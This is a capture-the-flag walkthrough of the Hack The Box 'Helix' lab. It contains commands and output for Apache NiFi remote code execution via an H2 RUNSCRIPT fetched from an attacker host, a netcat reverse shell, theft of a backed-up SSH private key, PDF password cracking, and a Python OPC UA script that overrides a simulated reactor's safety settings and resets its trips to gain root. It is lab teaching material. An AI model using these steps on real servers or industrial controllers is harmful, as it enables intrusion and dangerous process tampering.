HTB Helix Writeup
Complete Hack The Box Helix walkthrough covering Apache NiFi RCE, lateral movement to operator, and OPC UA-based privilege escalation.
Helix HTB - Complete Walkthrough
📋 Step 1: Initial Enumeration
Nmap Scan
nmap -sC -sV -oA helix 10.129.60.0Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/Add to /etc/hosts:
echo "10.129.60.0 helix.htb" >> /etc/hostsWeb Reconnaissance
Visiting http://helix.htb shows a static "Industrial Operator" page. Nothing interactive.
Vhost Fuzzing
ffuf -u http://10.129.60.0 -H "Host: FUZZ.helix.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-mc all -acResult: flow.helix.htb [Status: 200]
Add to hosts:
echo "10.129.60.0 flow.helix.htb" >> /etc/hosts🔧 Step 2: Apache NiFi Discovery
Access NiFi
Visit http://flow.helix.htb/nifi/
Version Fingerprint
Hover over the "About" section (top-right menu → About):
Apache NiFi 1.21.0
Build Date: 04/03/2023
Tagged: nifi-1.21.0-RC2then i quickly googled to find the exploits for that specific version ! https://github.com/advisories/GHSA-xm2m-2q6h-22jw and as always found : https://github.com/Al3xx-sec/CVE-2023-34468-POC Remote Code Execution via H2 Database RUNSCRIPT in Apache NiFi <= 1.21.0
Vulnerability
Apache NiFi ships with an H2 database JAR bundled by default. The DBCPConnectionPool controller service can be configured to use this H2 driver. H2 supports a RUNSCRIPT statement that fetches and executes a SQL file from a remote URL. That SQL file can define arbitrary Java code via CREATE ALIAS and execute it on the server OS.
Attack chain:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)So in our case the niri instance is running without any authentication to verify i just checked !
Check Authentication
curl -k http://flow.helix.htb/nifi-api/access/configResponse: {"config":{"supportsLogin":false}}
Key Finding: No authentication required! Full API access as anonymous user.
💣 Step 3: CVE-2023-34468 Exploitation
Vulnerability Details
| Property | Value |
|---|---|
| CVE | CVE-2023-34468 |
| Affected | Apache NiFi 0.0.2 - 1.21.0 |
| Root Cause | H2 JDBC URL allows INIT=RUNSCRIPT to execute remote SQL |
| Attack Vector | DBCPConnectionPool → H2 driver → CREATE ALIAS → Java execution |
| Pre-auth? | No (needs auth), but this instance has NO auth configured |
Exploit Chain Diagram
Diagram hereExploit Execution
Using Public PoC:
git clone https://github.com/Al3xx-sec/CVE-2023-34468-POC.git
cd CVE-2023-34468-POC
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 CVE-2023-34468_poc.py --lhost 10.10.14.147 --lport 4444 make sure to change the lport and lhost as you wantOutput:
[*] Target: http://flow.helix.htb | LHOST: 10.10.14.147:4444
[+] Identity: anonymous | Anonymous: True | canWrite: True
[+] Target is exploitable
[+] PG ID: f203bc07-019b-1000-516b-eaedd48609d1
[+] CS ID: 2b4c0786-019e-1000-926b-b7926339b589
[+] Controller service enabled
[+] Processor running — waiting for shell on port 4444...
[+] rce.sql delivered to targetShell Received:
nc -lvnp 4444
connect to [10.10.14.147] from [10.129.60.0] 43888
nifi@helix:/opt/nifi-1.21.0$ id
uid=998(nifi) gid=998(nifi) groups=998(nifi)After that i found the user.txt flag and then as usual i upload linpeas for getting root check the os version and try linux copy fail but not works common thing on htb machines right so then i hover
🔑 Step 4: Lateral Movement to Operator
Local Enumeration as nifi
# Explore NiFi directory
ls -la /opt/nifi-1.21.0/bin/
conf/
content_repository/
database_repository/
docs/
extensions/
flowfile_repository/
lib/
logs/
provenance_repository/
run/
state/
support-bundles/ ← Interesting!
work/Quickly googled ! And got something juicy
NiFi's support-bundles directory is a built-in feature that collects diagnostic data. When NiFi generates a support bundle, it can include configuration snapshots and sometimes even backup files that administrators have stored there.
The file operator_id_ed25519.bak was likely:
- A backup of the operator's SSH private key
- Created by an administrator who used NiFi to manage credentials
- Left in the support-bundles directory (which nifi user can read)
Find SSH Key Backup
ls -la /opt/nifi-1.21.0/support-bundles/Found: operator_id_ed25519.bak
# Copy to /tmp
cp /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak /tmp/operator_key
chmod 600 /tmp/operator_keyTransfer Key to Kali
Method: Python HTTP Server
# On target (nifi shell)
cd /tmp
python3 -m http.server 4321On Kali:
wget http://10.129.60.0:4321/operator_key
chmod 600 operator_keySSH as Operator
ssh -i operator_key operator@10.129.60.0Success:
operator@helix:~$ id
uid=1001(operator) gid=1001(operator) groups=1001(operator)
operator@helix:~$ ls
control systems diagram.png
Operator Control & Safety Guide.pdf
User.txt ( we already have )
operator@helix:~$ cat user.txt
Forbidden bud ← USER FLAG📄 Step 5: Crack the PDF
Transfer PDF to Kali
# On target
python3 -m http.server 4321
# On Kali
wget "http://10.129.60.0:4321/oppdf.pdf" -O ops_guide.pdfAlso we have one diagram transfer this as well
Extract Hash & Crack
pdf2john.pl ops_guide.pdf > pdf_hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hashPassword: redact
📖 Step 6: PDF Contents - The Key to Root
The PDF reveals the OPC UA PLC structure and maintenance procedure:
Connect to the OPC UA server at opc.tcp://127.0.0.1:4840/helix/
- Set Mode to MAINTENANCE
- Enable TestOverride
- Ramp CalibrationOffset until temperature reaches ~295°C OR pressure reaches ~73 bar
- This opens the maintenance window
- Run
sudo /usr/local/sbin/helix-maint-consolefor root
OPC UA service is running on port 4840 (only localhost)
- asyncua library is available (Python OPC UA)
- The helix-maint-console script checks
/opt/helix/state/maintenance_windowfor a future Unix timestamp - We need to set that timestamp by manipulating the PLC via OPC UA
🔑 Key Insight
The helix-maint-console script expects a file at /opt/helix/state/maintenance_window containing a future Unix timestamp. We need to figure out how the PLC creates this file when the maintenance window conditions are met.
The System Architecture
Helix Industries runs a nuclear reactor simulation
There are 3 custom services running:
- helix-plc (PLC - Programmable Logic Controller) - runs as plc user
- helix-safety - runs as root
- helix-hmi (Human-Machine Interface) - runs as www-data
2. The OPC UA Server
Listens on 127.0.0.1:4840 (only accessible locally)
Has a Plant object with 3 sub-systems:
- Reactor: Temperature (
284°C), Pressure (69 bar), CalibrationOffset (0.0) - Safety: TripActive (False), RodsInserted, EmergencyCooling
- Control: Mode (NORMAL), TestOverride (False), ResetTrip (False)
3. The Maintenance Window Logic
ps aux | grep -i helix
ls -la /opt/helix/
cat /usr/local/sbin/helix-maint-console
tcp LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*
asyncua available
plc 55823 0.5 0.0 2992 1080 ? Ss 11:54 0:00 /opt/helix/bin/helix-plc
root 55825 0.5 0.0 2992 1144 ? Ss 11:54 0:00 /opt/helix/bin/helix-safety
root 55828 1.5 1.2 68168 51164 ? S 11:54 0:00 /opt/helix/bin/helix-safety
plc 55829 6.8 3.1 140868 125128 ? S 11:54 0:00 /opt/helix/bin/helix-plc
www-data 55830 1.0 1.4 74004 57576 ? S 11:54 0:00 /opt/helix/bin/helix-hmiThe /usr/local/sbin/helix-maint-console script checks for a file at /opt/helix/state/maintenance_window containing a future Unix timestamp. If the file exists and the timestamp is in the future, it gives you a root shell.
4. How to Open the Maintenance Window (From the PDF)
The PDF tells us we need to:
- Set Mode to
MAINTENANCE- This allows us to make changes - Enable TestOverride - This permits calibration adjustments
- Ramp CalibrationOffset - This artificially raises the temperature
- Reach ~295°C - This is the "maintenance window" threshold (below the 305°C trip limit)
When the PLC detects these conditions, it should write a future timestamp to /opt/helix/state/maintenance_window, which then allows sudo /usr/local/sbin/helix-maint-console to give us a root shell.
🎯 What We're About to Do
The exploit script will:
- Connect to the OPC UA server (we have access as operator)
- Set Mode → MAINTENANCE
- Enable TestOverride → True
- Slowly increase CalibrationOffset (0 → higher values)
- Watch Temperature rise until it hits 295°C
- This triggers the PLC to create the
maintenance_windowfile - We run
sudo /usr/local/sbin/helix-maint-console→ ROOT SHELL
🤖 Step 7: OPC UA Exploitation
OPC UA Architecture
┌─────────────────────────────────────────────────────────────┐
│ OPC UA EXPLOITATION │
├─────────────────────────────────────────────────────────────┤
│ │
│ Operator Shell PLC Services │
│ (operator@helix) (Background) │
│ │ │ │
│ │ asyncua Client │ │
│ ├── Connect ──────────────────>│ opc.tcp:// │
│ │ to PLC │ 127.0.0.1:4840 │
│ │ │ /helix/ │
│ │ │ │
│ ├── Read Current State ───────>│ │
│ │ Temp: 284°C │ │
│ │ Mode: NORMAL │ │
│ │ │ │
│ ├── Set Mode=MAINTENANCE ─────>│ │
│ ├── Set TestOverride=True ────>│ │
│ │ │ │
│ ├── Ramp CalibrationOffset ───>│ │
│ │ Offset: 0,2,4,6,8... │ Temperature rises │
│ │ Temp: 284→290→298°C │ │
│ │ │ │
│ │ Temp reaches 295°C │ │
│ │ ├── Creates file: │
│ │ │ /opt/helix/state/ │
│ │ │ maintenance_window │
│ │ │ (future timestamp) │
│ │ │ │
│ ├── sudo helix-maint-console ─>│ │
│ │ ├── Checks file exists │
│ │ ├── Checks timestamp │
│ │ ├── GRANTS ROOT! │
│ │ │ │
│ ├── ROOT SHELL! ──────────────>│ │
│ │
└─────────────────────────────────────────────────────────────┘operator@helix:/tmp$ python3 explore.py
[+] Connected
Object: Locations
Object: Server
Object: Aliases
Object: Plant
[+] Found Plant object - exploring recursively...
Reactor (Object) = <error: The attribute is not supported for the specified Node.(BadAttributeIdInvalid)>
TemperatureRaw (Variable) = 283.9999722506136
Temperature (Variable) = 283.9999722506136
Pressure (Variable) = 68.9999836478061
CalibrationOffset (Variable) = 0.0
Safety (Object) = <error: The attribute is not supported for the specified Node.(BadAttributeIdInvalid)>
RodsInserted (Variable) = False
EmergencyCooling (Variable) = False
TripActive (Variable) = False
Control (Object) = <error: The attribute is not supported for the specified Node.(BadAttributeIdInvalid)>
Mode (Variable) = NORMAL
TestOverride (Variable) = False
ResetTrip (Variable) = False
operator@helix:/tmp$Exploit Script
import asyncio
from asyncua import Client
async def main():
# Connect to PLC's OPC UA server
client = Client(url="opc.tcp://127.0.0.1:4840/helix/")
await client.connect()
print("[+] Connected to OPC UA server\n")
# Navigate to Plant object (4th child of Objects)
objects = client.get_objects_node()
children = await objects.get_children()
plant = children[3] # Locations=0, Server=1, Aliases=2, Plant=3
# Get sub-systems
reactor, safety, control = await plant.get_children()
# Build node dictionaries
reactor_nodes = {}
for node in await reactor.get_children():
name = (await node.read_browse_name()).Name
reactor_nodes[name] = node
safety_nodes = {}
for node in await safety.get_children():
name = (await node.read_browse_name()).Name
safety_nodes[name] = node
control_nodes = {}
for node in await control.get_children():
name = (await node.read_browse_name()).Name
control_nodes[name] = node
# Read current state
print("[*] Current state:")
print(f" Temperature: {await reactor_nodes['Temperature'].read_value():.1f}°C")
print(f" Pressure: {await reactor_nodes['Pressure'].read_value():.1f} bar")
print(f" Mode: {await control_nodes['Mode'].read_value()}")
# Step 1: Set maintenance mode
print("\n[*] Setting Mode to MAINTENANCE...")
await control_nodes["Mode"].write_value("MAINTENANCE")
await asyncio.sleep(1)
# Step 2: Enable test override
print("[*] Enabling TestOverride...")
await control_nodes["TestOverride"].write_value(True)
await asyncio.sleep(1)
# Step 3: Ramp calibration offset
print("[*] Ramping CalibrationOffset...")
target = 295.0
for offset in range(0, 200, 2):
await reactor_nodes["CalibrationOffset"].write_value(float(offset))
await asyncio.sleep(0.3)
temp = await reactor_nodes["Temperature"].read_value()
press = await reactor_nodes["Pressure"].read_value()
trip = await safety_nodes["TripActive"].read_value()
print(f" Offset: {offset:3.0f} | Temp: {temp:.1f}°C | Press: {press:.2f} bar | Trip: {trip}")
# Handle safety trip
if trip:
print("\n[!] Trip triggered! Resetting...")
await control_nodes["TestOverride"].write_value(False)
await control_nodes["Mode"].write_value("NORMAL")
await asyncio.sleep(1)
await reactor_nodes["CalibrationOffset"].write_value(0.0)
await asyncio.sleep(2)
await control_nodes["ResetTrip"].write_value(True)
await asyncio.sleep(1)
await control_nodes["Mode"].write_value("MAINTENANCE")
await control_nodes["TestOverride"].write_value(True)
await asyncio.sleep(1)
continue
# Check if target reached
if temp >= target:
print(f"\n[+] Reached {temp:.1f}°C!")
break
await asyncio.sleep(2)
print("\n[+] Done! Now run:")
print(" sudo /usr/local/sbin/helix-maint-console")
await client.disconnect()
asyncio.run(main())Execute
python3 /tmp/exploit.pyOutput:
[+] Connected to OPC UA server
[*] Current state:
Temperature: 284.0°C
Pressure: 69.0 bar
Mode: NORMAL
[*] Setting Mode to MAINTENANCE...
[*] Enabling TestOverride...
[*] Ramping CalibrationOffset...
Offset: 0 | Temp: 284.1°C | Press: 69.03 bar | Trip: False
Offset: 2 | Temp: 284.1°C | Press: 69.03 bar | Trip: False
Offset: 4 | Temp: 284.1°C | Press: 69.03 bar | Trip: False
Offset: 6 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
Offset: 8 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
Offset: 10 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
Offset: 12 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
Offset: 14 | Temp: 298.1°C | Press: 69.06 bar | Trip: False
[+] Reached 298.1°C!
[+] Done! Now run:
sudo /usr/local/sbin/helix-maint-console👑 Step 8: Root!
The Maintenance Console Script
cat /usr/local/sbin/helix-maint-consoleLogic:
# Checks if file exists
# Checks if file contains future Unix timestamp
# If YES → systemd-run --scope /bin/bash -p -i (ROOT SHELL)
# If NO → "Maintenance window CLOSED."Get Root Shell
sudo /usr/local/sbin/helix-maint-console[+] Privileged maintenance access granted
[!] Window expires in 101 seconds
[!] Session will be terminated automatically
root@helix:/tmp# id
uid=0(root) gid=0(root) groups=0(root)Capture Root Flag
root@helix:~# cat root.txtMachine Pwned! 🎉
Was this writeup helpful?
18 readers found this helpful
Comments
No comments yet — be the first to share your thoughts.